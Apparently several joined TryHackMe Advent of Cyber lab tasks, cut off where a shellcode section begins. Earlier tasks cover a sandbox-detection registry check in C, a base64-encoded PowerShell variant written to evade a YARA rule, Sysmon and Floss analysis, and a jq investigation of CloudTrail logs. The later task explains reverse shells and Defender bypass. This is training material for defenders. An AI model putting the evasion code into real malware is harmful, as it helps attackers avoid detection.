But Glitch and McSkidy had spoiled his plan,
By uncovering secrets that exposed the man!

Mayor Malware slammed his hand on the table, his eyes narrowing as the report flashed on his screen. Glitch and McSkidy had uncovered his trail. He took a deep breath, calming himself. "No matter," he muttered, a sinister grin forming. "They may have found me but haven't stopped me." His confidence stemmed from the malware he had crafted—so devious and advanced that it would easily evade detection.

But before unleashing it to wreak havoc on SOC teams and ruin SOC-mas, there was one final step. He needed to test it in a sandbox.

Learning Objectives

• Analyze malware behaviour using sandbox tools.
• Explore how to use YARA rules to detect malicious patterns.
• Learn about various malware evasion techniques.
• Implement an evasion technique to bypass YARA rule detection.

Connecting to the Machine

Before moving forward, review the questions in the connection card shown below:

Click on the green Start Machine Button below to start the virtual machine in split-screen view.

If the VM is not visible, use the blue Show Split View button at the top of the page. Alternatively, you can connect to the VM via Remote Desktop (RDP) using the credentials below:

Username	administrator
Password	TryH@cKMe9#21
IP	MACHINE_IP

He slipped his malware into a sandbox to see,
What tricks it could play and what flaws there might be.
For sandboxes, you see, are used by the wise,
Defenders inspect, but attackers revise!

Detecting Sandboxes

A sandbox is an isolated environment where (malicious) code is executed without affecting anything outside the system. Often, multiple tools are installed to monitor, record, and analyze the code's behaviour.

Mayor Malware knows that before his malware executes, it needs to check if it is running on a Sandbox environment. If it is, then it should not continue with its malicious activity.

To do so, he has settled on one technique, which checks if the directory C:\Program Files is present by querying the Registry path HKLM\\Software\\Microsoft\\Windows\\CurrentVersion. The value can be confirmed by visiting the Registry path within the Registry Editor, as shown below:

To open the Windows Registry Editor, navigate to the Start Menu on the bottom, select Run, enter regedit, and press enter.

This directory is often absent on sandboxes or other virtualized environments, which could indicate that the malware is running in a sandbox.

Here's what it looks like in the C Programming Language:

void registryCheck() {
    const char *registryPath = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion";
    const char *valueName = "ProgramFilesDir";
    
    // Prepare the command string for reg.exe
    char command[512];
    snprintf(command, sizeof(command), "reg query \"%s\" /v %s", registryPath, valueName);
    // Run the command
    int result = system(command);
    // Check for successful execution
    if (result == 0) {
        printf("Registry query executed successfully.\n");
    } else {
        fprintf(stderr, "Failed to execute registry query.\n");
    }
}
int main() {
    const char *flag = "[REDACTED]";
    registryCheck();
        return 0;

} 

Don't worry—you don't have to understand every detail of the code. All you need to know is that this function is designed to check the system's registry for a specified directory path (ProgramFilesDir). This path's presence or absence helps the malware determine whether it's running in a typical or virtualized environment,like a sandbox.

Can YARA Do It?

Mayor Malware knows that McSkidy is a big fan of YARA rules.

YARA is a tool used to identify and classify malware based on patterns in its code. By writing custom rules, analysts can define specific characteristics to look for—such as particular strings, file headers, or behaviours—and YARA will scan files or processes to find matches, making it invaluable for detecting malicious code.

Mayor Malware does not think such a simple tool can detect his malware. But just to be sure, he has to test it out himself.

To do this, he wrote a small script that executes a YARA detection rule every time a new event is added to the System monitor log. This particular YARA rule detects any command that tries to access the registry.

Let's have a look at the rule:

rule SANDBOXDETECTED
{
    meta:
        description = "Detects the sandbox by querying the registry key for Program Path"
        author = "TryHackMe"
        date = "2024-10-08"
        version = "1.1"

    strings:
        
    $cmd= "Software\\Microsoft\\Windows\\CurrentVersion\" /v ProgramFilesDir" nocase

    

    condition:
        $cmd
}

Let's understand the contents:

• In the strings section, we have defined variables that include the value to look out for: $cmd
• In the condition section, we define when the rule will match the scanned file. In this case, if any of the specified strings are present. 

For his testing, Mayor Malware has set up a one-function script that runs the Yara rule and logs a true positive in C:\Tools\YaraMatches.txt.

Open up a PowerShell window, navigate to the C:\Tools directory, and use the following command to start up the EDR:

           PS C:\Tools> .\JingleBells.ps1
No events found in Sysmon log.
Monitoring Sysmon events... Press Ctrl+C to exit.
        

This tool will run on the system and continuously monitor the generated Event Logs. It will alert you if it finds any activity/event that indicates the registry mentioned above key is being queried.

Now run the malware by navigating to C:\Tools\Malware, and double-clicking on MerryChristmas.exe.

If our custom script did its job, you should have witnessed a popup by our EDR with a flag included, as shown below. This will be the answer to Question 1 below. You can now exit the custom EDR by pressing Ctrl+C.

Note: If the popup does not show up, hover over the PowerShell item in the taskbar. It should show the popup that was generated.

Adding More Evasion Techniques

Ah, it seems that Yara can detect the evasion that Mayor Malware has added. No worries. Because we can make our malware even stealthier by introducing obfuscation.

void registryCheck() {
// Encoded PowerShell command to query the registry
    const char *encodedCommand = "RwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuACIAIAAtAE4AYQBtAGUAIABQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwBEAGkAcgA=";
    // Prepare the PowerShell execution command
    char command[512];
    snprintf(command, sizeof(command), "powershell -EncodedCommand %s", encodedCommand);

    // Run the command
    int result = system(command);

    // Check for successful execution
    if (result == 0) {
        printf("Registry query executed successfully.\n");
    } else {
        fprintf(stderr, "Failed to execute registry query.\n");
    }  
}

Code Explanation

The above code does the same thing: query the same registry key to get the information about the Program Data. The only difference is that the query is now encoded using base64, and the code uses the PowerShell to execute the query. The encoded string can be checked by decoding it using a tool like CyberChef, as shown below:

Beware of Floss

While obfuscation is helpful, we also need to know that there are tools available that extract obfuscated strings from malware binaries. One such tool is Floss, a powerful tool developed by Mandiant that functions similarly to the Linux strings tool but is optimized for malware analysis, making it ideal for revealing any concealed details.

To try out Floss, open a PowerShell Window and enter the following command:

           PS C:\Tools\FLOSS> floss.exe C:\Tools\Malware\MerryChristmas.exe |Out-file C:\tools\malstrings.txt
        

The above command can take up to two minutes to complete. In the meantime, let's break down the command:

• floss.exe C:\Tools\Malware\MerryChristmas.exe: This command scans for strings in the binary MerryChrismas.exe. If any hardcoded variables were defined in the malware, Floss should find them.
• The | symbol redirects the output of the command in front of it to the input of the command behind it.
  
• Out-file C:\tools\malstrings.txt: We save the command results in a file called malstrings.txt.

Once the command is done, open malstrings.txt, press CTRL+F, and search for the string THM. Enter the flag as the answer to question two. The format of the string is THM{}.

Using YARA Rules on Sysmon Logs

These YARA rules are becoming a pain to Mayor Malware's backside.

If he wants his malware to be undetectable, he needs to research how YARA rules can be used to stop him. For example, his research tells him that YARA rules can also be used to check Sysmon logs for any artefacts left by malware! He'll need to test this as well.

Sysmon, a tool from Microsoft's Sysinternals suite, continuously monitors and logs system activity across reboots. This Windows service provides detailed event data on process creation, network connections, and file changes—valuable insights when tracing malware behaviour.

A YARA rule will look for events with event id 1: Process created for this to work. There are many entries in the Sysmon log. To make it easier to find the event we are looking for, we will apply a custom filter using the EventRecordID that we can see in the log YaraMatches.txt located in C:\Tools.

Open a PowerShell window and enter the following command to check the contents of the EDR log file:

get-content C:\Tools\YaraMatches.txt

You should get a result similar to the output below:

           PS C:\Tools> get-content C:\Tools\YaraMatches.txt

Event Time: 10/11/2024 15:06:39
Event ID: 1
Event Record ID: 96517
Command Line: reg  query "HKLM\Software\Microsoft\Windows\CurrentVersion" /v ProgramFilesDir
YARA Result: DetectShutdownTimeQuery C:\Users\Administrator\AppData\Local\Temp\2\tmp8D61.tmp
        

Note down the Event Record ID value. We will use this value to create a custom filter in the Windows Event Viewer.

Next, open the Windows Event Viewer by clicking on its logo in the taskbar and, on the left-hand side, navigate to Applications and Services Logs -> Microsoft -> Windows -> Sysmon -> Operational.

Continue by navigating to Filter Current Log on the right-hand side of the screen.

You should see a window like the one below:

Navigate to XML and tick the checkbox Edit query manually. Click Yes to confirm. Finally, copy the following filter into the input box:

<QueryList>
  <Query Id="0" Path="Microsoft-Windows-Sysmon/Operational">
    <Select Path="Microsoft-Windows-Sysmon/Operational">
      *[System[(EventRecordID="INSERT_EVENT_record_ID_HERE")]]
    </Select>
  </Query>
</QueryList>

Replace the EventRecordID value with the one you recorded before. Apply the filter by clicking OK. Now you get the event related to the malware. Click on the event and then on the Details tab. You should get the following output:

Let's take a look at the EventData that is valuable to us:

• The ParentImage key shows us which parent process spawned the cmd.exe process to execute the registry check. We can see it was our malware located at C:\Tools\Malware\MerryChristmas.exe.
• The ParentProcessId and ProcessId keys are valuable for follow-up research. We could also use them to check other logs for related events.
• The User key can help us determine which privileges were used to run the cmd.exe command. The malware could have created a hidden account and used that to run commands.
• The CommandLine key shows which command was run in detail, helping us identify the malware's actions.
• The UtcTime key is essential for creating a time frame for the malware's operation. This time frame can help you focus your threat hunting efforts.

Never Gonna Give Up

His malware, it seemed, wasn't quite ready for town.
"There are watchers and scanners and rules by the ton! 
If I'm not careful, they'll catch all my fun!"

Mayor Malware leaned back, tapping his fingers thoughtfully on the table. All of this research had revealed an unsettling truth: his malware, as cunning as it was, wasn't yet ready for the wild. There were too many tools and too many vigilant eyes—analysts armed with YARA rules, Sysmon, and a host of detection techniques that could expose his creation before it even had a chance to spread.

He clenched his fist, a determined glint in his eye. "Just a little more fine-tuning," he murmured. He would study, adapt, and evolve his malware until it was truly undetectable. When the time was right, he would unleash it upon the unsuspecting SOC teams, striking when they least expected it.

But for now, he would wait. Watching. Planning. And he was perfecting his craft in the shadows.

Monitoring in an AWS Environment

Care4Wares' infrastructure runs in the cloud, so they chose AWS as their Cloud Service Provider (CSP). Instead of their workloads running on physical machines on-premises, they run on virtualised instances in the cloud. These instances are (in AWS) called EC2 instances (Amazon Elastic Compute Cloud). A few members of the Wareville SOC aren't used to log analysis on the cloud, and with a change of environment comes a change of tools and services needed to perform their duties. Their duties this time are to help Care4Wares figure out what has happened to the charity's funds; to do so, they will need to learn about an AWS service called CloudWatch.

CloudWatch

 AWS CloudWatch is a monitoring and observability platform that gives us greater insight into our AWS environment by monitoring applications at multiple levels. CloudWatch provides functionalities such as the monitoring of system and application metrics and the configuration of alarms on those metrics for the purposes of today's investigation, though we want to focus specifically on CloudWatch logs. Running an application in a cloud environment can mean leveraging lots of different services (e.g. a service running the application, a service running functions triggered by that application, a service running the application backend, etc.); this translates to logs being generated from lots of different sources. CloudWatch logs make it easy for users to access, monitor and store the logs from all these various sources. A CloudWatch agent must be installed on the appropriate instance for application and system metrics to be captured.

A key feature of CloudWatch logs that will help the Warevile SOC squad and us make sense of what happened in their environment is the ability to query application logs using filter patterns. Here are some CloudWatch terms you should know before going further:

• Log Events: A log event is a single log entry recording an application "event"; these will be timestamped and packaged with log messages and metadata.
• Log Streams: Log streams are a collection of log events from a single source.
• Log Groups: Log groups are a collection of log streams. Log streams are collected into a log group when logically it makes sense, for example, if the same service is running across multiple hosts.

CloudTrail

CloudWatch can track infrastructure and application performance, but what if you wanted to monitor actions in your AWS environment? These would be tracked using another service called AWS CloudTrail. Actions can be those taken by a user, a role (granted to a user giving them certain permissions) or an AWS service and are recorded as events in AWS CloudTrail. Essentially, any action the user takes (via the management console or AWS CLI) or service will be captured and stored. Some features of CloudTrail include:

• Always On: CloudTrail is enabled by default for all users
• JSON-formatted: All event types captured by CloudTrail will be in the CloudTrail JSON format
• Event History: When users access CloudTrail, they will see an option "Event History", event history is a record of the actions that have taken place in the last 90 days. These records are queryable and can be filtered on attributes such as "resource" type.
• Trails: The above-mentioned event history can be thought of as the default "trail," included out of the box. However, users can define custom trails to capture specific actions, which is useful if you have bespoke monitoring scenarios you want to capture and store beyond the 90-day event history retention period.
• Deliverable:  As mentioned, CloudWatch can be used as a single access point for logs generated from various sources; CloudTrail is no different and has an optional feature enabling CloudTrail logs to be delivered to CloudWatch.

As mentioned, Cloudtrail helps capture and record actions taken. These actions could be interactions with any number of AWS services. For example, services like S3 (Amazon Simple Storage Service used for object storage) and IAM (AWS's Identity and Access Management service can be used to secure access to your AWS environment with the creation of identities and the assigning of access permissions to those identities) will have actions taken within their service recorded. These recorded events can be very helpful when performing an investigation.

Intro to JQ

What is JQ?

Earlier, it was mentioned that Cloudtrail logs were JSON-formatted. When ingested in large volumes, this machine-readable format can be tricky to extract meaning from, especially in the context of log analysis. The need then arises for something to help us transform and filter that JSON data into meaningful data we can understand and use to gain security insights. That's exactly what JQ is (and does!). Similar to command line tools like sed, awk and grep, JQ is a lightweight and flexible command line processor that can be used on JSON.

How Can It Be Used?

Now, let's take a look at how we use JQ to transform and filter JSON data. The wares being the wares, they stored their shopping list from the trip to the bookstore in JSON format. Let's take a look at that:

[

{ "book_title": "Wares Wally", "genre": "children", "page_count": 20 },

{ "book_title": "Charlottes Web Crawler", "genre": "young_ware", "page_count": 120 },

{ "book_title": "Charlie and the 8 Bit Factory", "genre": "young_ware", "page_count": 108 },

{ "book_title": "The Princess and the Pcap", "genre": "children", "page_count": 48 },

{ "book_title": "The Lion, the Glitch and the Wardrobe", "genre": "young_ware", "page_count": 218 }

]

JQ takes two inputs: the filter you want to use, followed by the input file. We start our JQ filter with a . which just tells JQ we are accessing the current input. From here, we want to access the array of values stored in our JSON (with the []). Making our filter a .[]. For example, let’s run the following command. 

user@tryhackme$ jq '.[]' book_list.json

The command above would result in this output:

{
  "book_title": "Wares Wally",
  "genre": "children",
  "page_count": 20
}
{
  "book_title": "Charlottes Web Crawler",
  "genre": "young_ware",
  "page_count": 120
}
{
  "book_title": "Charlie and the 8 Bit Factory",
  "genre": "young_ware",
  "page_count": 108
}
{
  "book_title": "The Princess and the Pcap",
  "genre": "children",
  "page_count": 48
}
{
  "book_title": "The Lion, the Glitch and the Wardrobe",
  "genre": "young_ware",
  "page_count": 218
}

Once we've accessed the array, we can grab elements from that array by going one step deeper. For example, we could run this JQ command:

user@tryhackme$ jq  '.[] | .book_title' book_list.json

If we wanted to view all the book titles contained within this JSON file, this would return a nicely formatted output like this:

"Wares Wally"
"Charlottes Web Crawler"
"Charlie and the 8 Bit Factory"
"The Princess and the Pcap"
"The Lion, the Glitch and the Wardrobe"

That's a lot nicer to look at, isn't it? It gives you an idea of what JQ is and what it does. Of course, JQ can filter and transform JSON data in many additional ways. In our upcoming investigation, we'll see the tool in action.

The Peculiar Case of Care4Wares’ Dry Funds

Now that we have refreshed our knowledge of AWS Cloudtrail and JQ alongside McSkidy, let’s investigate this peculiar case of Care4Wares’ dry funds.

The responsible ware for the Care4Wares charity drive gave us the following info regarding this incident:

We sent out a link on the 28th of November to everyone in our network that points to a flyer with the details of our charity. The details include the account number to receive donations. We received many donations the first day after sending out the link, but there were none from the second day on. I talked to multiple people who claimed to have donated a respectable sum. One showed his transaction, and I noticed the account number was wrong. I checked the link, and it was still the same. I opened the link, and the digital flyer was the same except for the account number.

McSkidy recalls putting the digital flyer, wareville-bank-account-qr.png, in an Amazon AWS S3 bucket named wareville-care4wares. Let’s assist McSkidy and start by finding out more about that link. Before that, let’s first review the information that we currently have to start the investigation:

• The day after the link was sent out, several donations were received.
• Since the second day after sending the link, no more donations have been received.
• A donator has shown proof of his transaction. It was made 3 days after he received the link. The account number in the transaction was not correct.
• McSkidy put the digital flyer in the AWS S3 object named wareville-bank-account-qr.png under the bucket wareville-care4wares.
• The link has not been altered.

Connection Details

Now that we have enough information, let's start the attached Virtual Machine in this task by clicking the Start Machine button below. Note that the machine may take 3-5 minutes to initialise. 

The machine will start in a split-screen view. If the VM is not visible, use the blue Show Split View button at the top right of the page. 

Glitch Did It

Let’s examine the Cloudtrail logs related to the wareville-care4wares S3 bucket. For a quick example, a typical S3 log entry looks like this:

{
  "eventVersion": "1.10",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDAXRMKYT5O5Y2GLD4ZG",
    "arn": "arn:aws:iam::518371450717:user/wareville_collector",
    "accountId": "518371450717",
    "accessKeyId": "AKIAXRMKYT5OZCZPGNZ7",
    "userName": "wareville_collector"
  },
  "eventTime": "2024-10-21T22:13:24Z",
  "eventSource": "s3.amazonaws.com",
  "eventName": "ListObjects",
  "awsRegion": "ap-southeast-1",
  "sourceIPAddress": "34.247.218.56",
  "userAgent": "[aws-sdk-go/0.24.0 (go1.22.6; linux; amd64)]",
  "requestParameters": {
    "bucketName": "aoc-cloudtrail-wareville",
    "Host": "aoc-cloudtrail-wareville.s3.ap-southeast-1.amazonaws.com",
    "prefix": ""
  },
  "responseElements": null,
  "additionalEventData": {
    "SignatureVersion": "SigV4",
    "CipherSuite": "TLS_AES_128_GCM_SHA256",
    "bytesTransferredIn": 0,
    "AuthenticationMethod": "AuthHeader",
    "x-amz-id-2": "yqniVtqBrL0jNyGlvnYeR3BvJJPlXdgxvjAwwWhTt9dLMbhgZugkhlH8H21Oo5kNLiq8vg5vLoj3BNl9LPEAqN5iHpKpZ1hVynQi7qrIDk0=",
    "bytesTransferredOut": 236375
  },
  "requestID": "YKEKJP7QX32B4NZB",
  "eventID": "fd80529f-d0af-4f44-8034-743d8d92bdcf",
  "readOnly": true,
  "resources": [
    {
      "type": "AWS::S3::Object",
      "ARNPrefix": "arn:aws:s3:::aoc-cloudtrail-wareville/"
    },
    {
      "accountId": "518371450717",
      "type": "AWS::S3::Bucket",
      "ARN": "arn:aws:s3:::aoc-cloudtrail-wareville"
    }
  ],
  "eventType": "AwsApiCall",
  "managementEvent": false,
  "recipientAccountId": "518371450717",
  "eventCategory": "Data",
  "tlsDetails": {
    "tlsVersion": "TLSv1.3",
    "cipherSuite": "TLS_AES_128_GCM_SHA256",
    "clientProvidedHostHeader": "aoc-cloudtrail-wareville.s3.ap-southeast-1.amazonaws.com"
  }
}

It might be overwhelming to see the sheer amount of information in one event, but there are some elements that we can focus on for our investigation:

By using the guide above, we can read the example log entry as follows: 

• The IAM user, wareville_collector, listed all objects (ListObjects event) of the S3 bucket named aoc-cloudtrail-wareville.
• The IP address from which this request originated is 34.247.218.56.
• The user agent indicates that the request was made using the AWS SDK tool for Go.

Now that we know where to look, let’s use JQ to filter the log for events related to the wareville-bank-account-qr.png S3 object. The goal is to use the same elements to filter the log file using JQ and format the results into a table to make it more readable. According to McSkidy, the logs are stored in the ~/wareville_logs directory.

To start, click the Terminal icon on the Desktop and enter the two commands below:

ubuntu@tryhackme:~/$ cd wareville_logs
ubuntu@tryhackme:~/$ ls
cloudtrail_log.json  rds.log

With the commands above, we initially changed our current directory to the directory McSkidy mentioned via the cd command, and we listed the directory's contents using the ls command. As you can see, two files are inside it, but we will focus first on the cloudtrail_log.json for this investigation. 

Now, let's start investigating the CloudTrail logs by executing the command below.

ubuntu@tryhackme:~/wareville_logs$ jq -r '.Records[] | select(.eventSource == "s3.amazonaws.com" and .requestParameters.bucketName=="wareville-care4wares")' cloudtrail_log.json

Let's do a quick breakdown of the command we executed:

As you can see in the command output, we were able to trim down the results since all of the entries are from S3. However, it is still a bit overwhelming since all the fields are included in the output. Now, let's refine the output by selecting the significant fields. Execute the following command below:

ubuntu@tryhackme:~/wareville_logs$ jq -r '.Records[] | select(.eventSource == "s3.amazonaws.com" and .requestParameters.bucketName=="wareville-care4wares") | [.eventTime, .eventName, .userIdentity.userName // "N/A",.requestParameters.bucketName // "N/A", .requestParameters.key // "N/A", .sourceIPAddress // "N/A"]' cloudtrail_log.json

As you can see, we have appended another pipe (|) after our previous filter. Let's discuss it quickly:

As you can see in the results, we could focus on the notable items, but our initial goal is to render the output in a table to make it easy to digest. Let's upgrade our command with additional parameters.

ubuntu@tryhackme:~/wareville_logs$ jq -r '["Event_Time", "Event_Name", "User_Name", "Bucket_Name", "Key", "Source_IP"],(.Records[] | select(.eventSource == "s3.amazonaws.com" and .requestParameters.bucketName=="wareville-care4wares") | [.eventTime, .eventName, .userIdentity.userName // "N/A",.requestParameters.bucketName // "N/A", .requestParameters.key // "N/A", .sourceIPAddress // "N/A"]) | @tsv' cloudtrail_log.json | column -t

You may observe that we have added the following items to our command:

Note: Our crafted command lets us summarise S3 activities from a CloudTrail log.

Now that we have crafted a JQ query that provides a well-refined output, let’s look at the results and observe the events. Based on the columns, we can answer the following questions to build our assumptions:

• How many log entries are related to the wareville-care4wares bucket?
• Which user initiated most of these log entries?
• Which actions did the user perform based on the eventName field?
• Were there any specific files edited?
• What is the timestamp of the log entries?
• What is the source IP related to these log entries?

Looking at the results, 5 logged events seem related to the wareville-care4wares bucket, and almost all are related to the user glitch. Aside from listing the objects inside the bucket (ListOBject event), the most notable detail is that the user glitch uploaded the file wareville-bank-account-qr.png on November 28th. This seems to coincide with the information we received about no donations being made 2 days after the link was sent out.

McSkidy is sure there was no user glitch in the system before. There is no one in the city hall with that name, either. The only person that McSkidy knows with that name is the hacker who keeps to himself. McSkidy suggests that we look into this anomalous user.

McSkidy Fooled Us?

McSkidy wants to know what this anomalous user account has been used for, when it was created, and who created it. Enter the command below to see all the events related to the anomalous user. We can focus our analysis on the following questions:

• What event types are included in these log entries?
• What is the timestamp of these log entries?
• Which IPs are included in these log entries?
• What tool/OS was used in these log entries?

ubuntu@tryhackme:~/wareville_logs$ jq -r '["Event_Time", "Event_Source", "Event_Name", "User_Name", "Source_IP"],(.Records[] | select(.userIdentity.userName == "glitch") | [.eventTime, .eventSource, .eventName, .userIdentity.userName // "N/A", .sourceIPAddress // "N/A"]) | @tsv' cloudtrail_log.json | column -t -s $'\t'

The results show that the user glitch mostly targeted the S3 bucket. The notable event is the ConsoleLogin entry, which tells us that the account was used to access the AWS Management Console using a browser.

We still need information about which tool and OS were used in the requests. Let's view the userAgent value related to these events using the following command.

ubuntu@tryhackme:~/wareville_logs$ jq -r '["Event_Time", "Event_type", "Event_Name", "User_Name", "Source_IP", "User_Agent"],(.Records[] | select(.userIdentity.userName == "glitch") | [.eventTime,.eventType, .eventName, .userIdentity.userName //"N/A",.sourceIPAddress //"N/A", .userAgent //"N/A"]) | @tsv' cloudtrail_log.json | column -t -s $'\t'

There are two User-Agent values included in all log entries related to the glitch user: 

An experienced attacker can forge these values, but we should not dismiss this information. It can be valuable when comparing different log entries for the same user. We will park the current information for now, let's gather more information to connect the dots.

The next interesting event to look for is who created this anomalous user account. We will filter for all IAM-related events, and this can be done by using the select filter .eventSource == "iam.amazonaws.com". Let's execute the command below, and try to answer the following questions:

• What Event Names are included in the log entries?
• What user executed these events?
• What is this user’s IP?

ubuntu@tryhackme:~/wareville_logs$ jq -r '["Event_Time", "Event_Source", "Event_Name", "User_Name", "Source_IP"], (.Records[] | select(.eventSource == "iam.amazonaws.com") | [.eventTime, .eventSource, .eventName, .userIdentity.userName // "N/A", .sourceIPAddress // "N/A"]) | @tsv' cloudtrail_log.json | column -t -s $'\t'

Based on the results, there are many ListPolicies events. By ignoring these events, it seems that the most significant IAM activity is about the user mcskidy invoking the CreateUser action and consequently invoking the AttachUserPolicy action. The source IP where the requests were made is 53.94.201.69. Remember that it is the same IP the anomalous user glitch used.

Let’s have a more detailed look at the event related to the CreateUser action by executing the command below:

ubuntu@tryhackme:~/wareville_logs$ jq '.Records[] |select(.eventSource=="iam.amazonaws.com" and .eventName== "CreateUser")' cloudtrail_log.json

Based on the request parameters of the output, it can be seen that it was the user, mcskidy, who created the anomalous account.

Now, we need to know what permissions the anomalous user has. It could be devastating if it has access to our whole environment. We need to filter for the AttachUserPolicy event to uncover the permissions set for the newly created user. This event applies access policies to users, defining the extent of access to the account. Let's filter for the specific event by executing the command below.

ubuntu@tryhackme:~/wareville_logs$ jq '.Records[] | select(.eventSource=="iam.amazonaws.com" and .eventName== "AttachUserPolicy")' cloudtrail_log.json

McSkidy is baffled by these results. She knows that she did not create the anomalous user and did not assign the privileged access. She also doesn’t recognise the IP address involved in the events and does not use a Mac OS; she only uses a Windows machine. All this information is different to the typical IP address and machine used by McSkidy, so she wants to prove her innocence and asks to continue the investigation.

Logs Don’t Lie

McSkidy suggests looking closely at the IP address and operating system related to all these anomalous events. Let's use the following command below to continue with the investigation:

ubuntu@tryhackme:~/wareville_logs$ jq -r '["Event_Time", "Event_Source", "Event_Name", "User_Name", "Source_IP"], (.Records[] | select(.sourceIPAddress=="53.94.201.69") | [.eventTime, .eventSource, .eventName, .userIdentity.userName // "N/A", .sourceIPAddress // "N/A"]) | @tsv' cloudtrail_log.json | column -t -s $'\t'

Based on the command output, three user accounts (mcskidy, glitch, and mayor_malware) were accessed from the same IP address. The next step is to check each user and see if they always work from that IP.

Let’s focus on each user and see if they always work from that IP. Enter the command below, and replace the PLACEHOLDER with the username. 

ubuntu@tryhackme:~/wareville_logs$ jq -r '["Event_Time","Event_Source","Event_Name", "User_Name","User_Agent","Source_IP"],(.Records[] | select(.userIdentity.userName=="PLACEHOLDER") | [.eventTime, .eventSource, .eventName, .userIdentity.userName // "N/A",.userAgent // "N/A",.sourceIPAddress // "N/A"]) | @tsv' cloudtrail_log.json | column -t -s $'\t'

While gathering the information for each user, we can focus our investigation on the following questions:

• Which IP does each user typically use to log into AWS?
• Which OS and browser does each user usually use?
• Are there any similarities or explicit differences between the IP addresses and operating systems used?

Based on the results, we have proven that McSkidy used a different IP address before the unusual authentication was discovered. Moreover, all evidence seems to point towards another user after correlating the IP address and User-Agent used by each user. Who do you think it could be? McSkidy has processed all the investigation results and summarized them below:

• The incident starts with an anomalous login with the user account mcskidy from IP 53.94.201.69.
• Shortly after the login, an anomalous user account glitch was created.
• Then, the glitch user account was assigned administrator permissions.
• The glitch user account then accessed the S3 bucket named wareville-care4wares and replaced the wareville-bank-account-qr.png file with a new one. The IP address and User-Agent used to log into the glitch, mcskidy, and mayor_malware accounts were the same.
• the User-Agent string and Source IP of recurrent logins by the user account mcskidy are different.

Definite Evidence

McSkidy suggests gathering stronger proof that that person was behind this incident. Luckily, Wareville Bank cooperated with us and provided their database logs from their Amazon Relational Database Service (RDS). They also mentioned that these are captured through their CloudWatch, which differs from the CloudTrail logs as they are not stored in JSON format. For now, let’s look at the bank transactions stored in the ~/wareville_logs/rds.log file.

Since the log entries are different from the logs we previously investigated, McSkidy provided some guidance on how to analyse them. According to her, we can use the following command to show all the bank transactions.

Note: Grep is a Unix command-line utility used for searching strings within a file or an input stream.

ubuntu@tryhackme:~/wareville_logs$ grep INSERT rds.log

From the command above, McSkidy explained that all INSERT queries from the RDS log pertain to who received the donations made by the townspeople. Given this, we can see in the output the two recipients of all donations made within November 28th, 2024.

---REDACTED FOR BREVITY---
2024-11-28T15:22:17.728Z 2024-11-28T15:22:17.728648Z	  263 Query	INSERT INTO wareville_bank_transactions (account_number, account_owner, amount) VALUES ('8839 2219 1329 6917', 'Care4wares Fund', 342.80)
2024-11-28T15:22:18.569Z 2024-11-28T15:22:18.569279Z	  263 Query	INSERT INTO wareville_bank_transactions (account_number, account_owner, amount) VALUES ('8839 2219 1329 6917', 'Care4wares Fund', 929.57)
2024-11-28T15:23:02.605Z 2024-11-28T15:23:02.605700Z	  263 Query	INSERT INTO wareville_bank_transactions (account_number, account_owner, amount) VALUES ('----- REDACTED ----', 'Mayor Malware', 193.45)
2024-11-28T15:23:02.792Z 2024-11-28T15:23:02.792161Z	  263 Query	INSERT INTO wareville_bank_transactions (account_number, account_owner, amount) VALUES ('----- REDACTED ----', 'Mayor Malware', 998.13)
---REDACTED FOR BREVITY---

As shown above, the Care4wares Fund received all the donations until it changed into a different account at a specific time. The logs also reveal who received the donations afterwards, given the account owner's name. With all these findings, McSkidy confirmed the assumptions made during the investigation of the S3 bucket since the sudden change in bank details was reflected in the database logs. The timeline of events collected by McSkidy explains the connection of actions conducted by the culprit.

Glitch, a skilled but mistrusted hacker, was prepping for a tech conference. He was eager to share his shellcode script that remotely accessed his home system. As he worked, he noticed Mayor Malware's henchmen lurking nearby.

"They're wasting their time. I don't have anything they'd want," Glitch chuckled.

He didn't realise that hidden in his home system was something they desperately sought—a research paper he wrote on Wareville's defences, a treasure Mayor Malware was eager to obtain.

Learning Objectives

• Grasp the fundamentals of writing shellcode
• Generate shellcode for reverse shells
• Executing shellcode with PowerShell

Connecting to the Machine

Click on the green Start Machine button below to start the virtual machine in split-screen view. If the VM is not visible, use the blue Show Split View button at the top of the page. Alternatively, you can connect to the VM via Remote Desktop (RDP) using the credentials below:

Username	glitch
Password	Passw0rd
IP	MACHINE_IP

Aside from the VM, you must also start the AttackBox for this task. Click on the Start AttackBox button located above this page.

Essential Terminologies

Before we start, review some important concepts to help you better understand the upcoming content. Shellcode is an advanced topic, but knowing these foundational ideas will make the rest of the material more accessible and engaging.

• Shellcode: A piece of code usually used by malicious actors during exploits like buffer overflow attacks to inject commands into a vulnerable system, often leading to executing arbitrary commands or giving attackers control over a compromised machine. Shellcode is typically written in assembly language and delivered through various techniques, depending on the exploited vulnerability.
• PowerShell: A powerful scripting language and command-line shell built into Windows for task automation and configuration management. It allows users to interact with system components and is widely used by administrators for legitimate purposes. However, attackers often use PowerShell as a post-exploitation tool because of its deep access to system resources and ability to run scripts directly in memory, avoiding disk-based detection mechanisms.
• Windows Defender: A built-in security feature that detects and prevents malicious scripts, including PowerShell-based attacks, by scanning code at runtime. Common bypass methods for evading Defender include obfuscating scripts to disguise malicious content, making it harder for the software to recognise known patterns. Another technique is a reflective injection, where malicious code is loaded directly into memory, avoiding detection by signature-based defences. We will cover the latter one in this task.
  
• Windows API: The Windows Application Programming Interface (API) allows programs to interact with the underlying operating system, giving them access to essential system-level functions such as memory management, file operations, and networking. It serves as a bridge between the application and the operating system, enabling efficient resource handling. The Windows API is crucial because many exploitation techniques and malware rely on it to manipulate processes, allocate memory, and execute shellcodes. Common Windows API functions frequently used by malicious actors include VirtualAlloc, CreateThread, WaitForSingleObject, which we will also use in this task for exploitation.
• Accessing Windows API through PowerShell Reflection: Windows API via PowerShell Reflection is an advanced technique that enables dynamic interaction with the Windows API from PowerShell. Instead of relying on precompiled binaries, PowerShell Reflection allows attackers to call Windows API functions directly at runtime. This will enable them to manipulate low-level system processes, making it a primary tool for bypassing security mechanisms, interacting with the operating system, and executing code stealthily.
• Reverse shell: A type of connection in which the target (the machine you're trying to hack) initiates a connection back to your attacking machine (in this case, your machine will be the AttackBox). 

Generating Shellcode

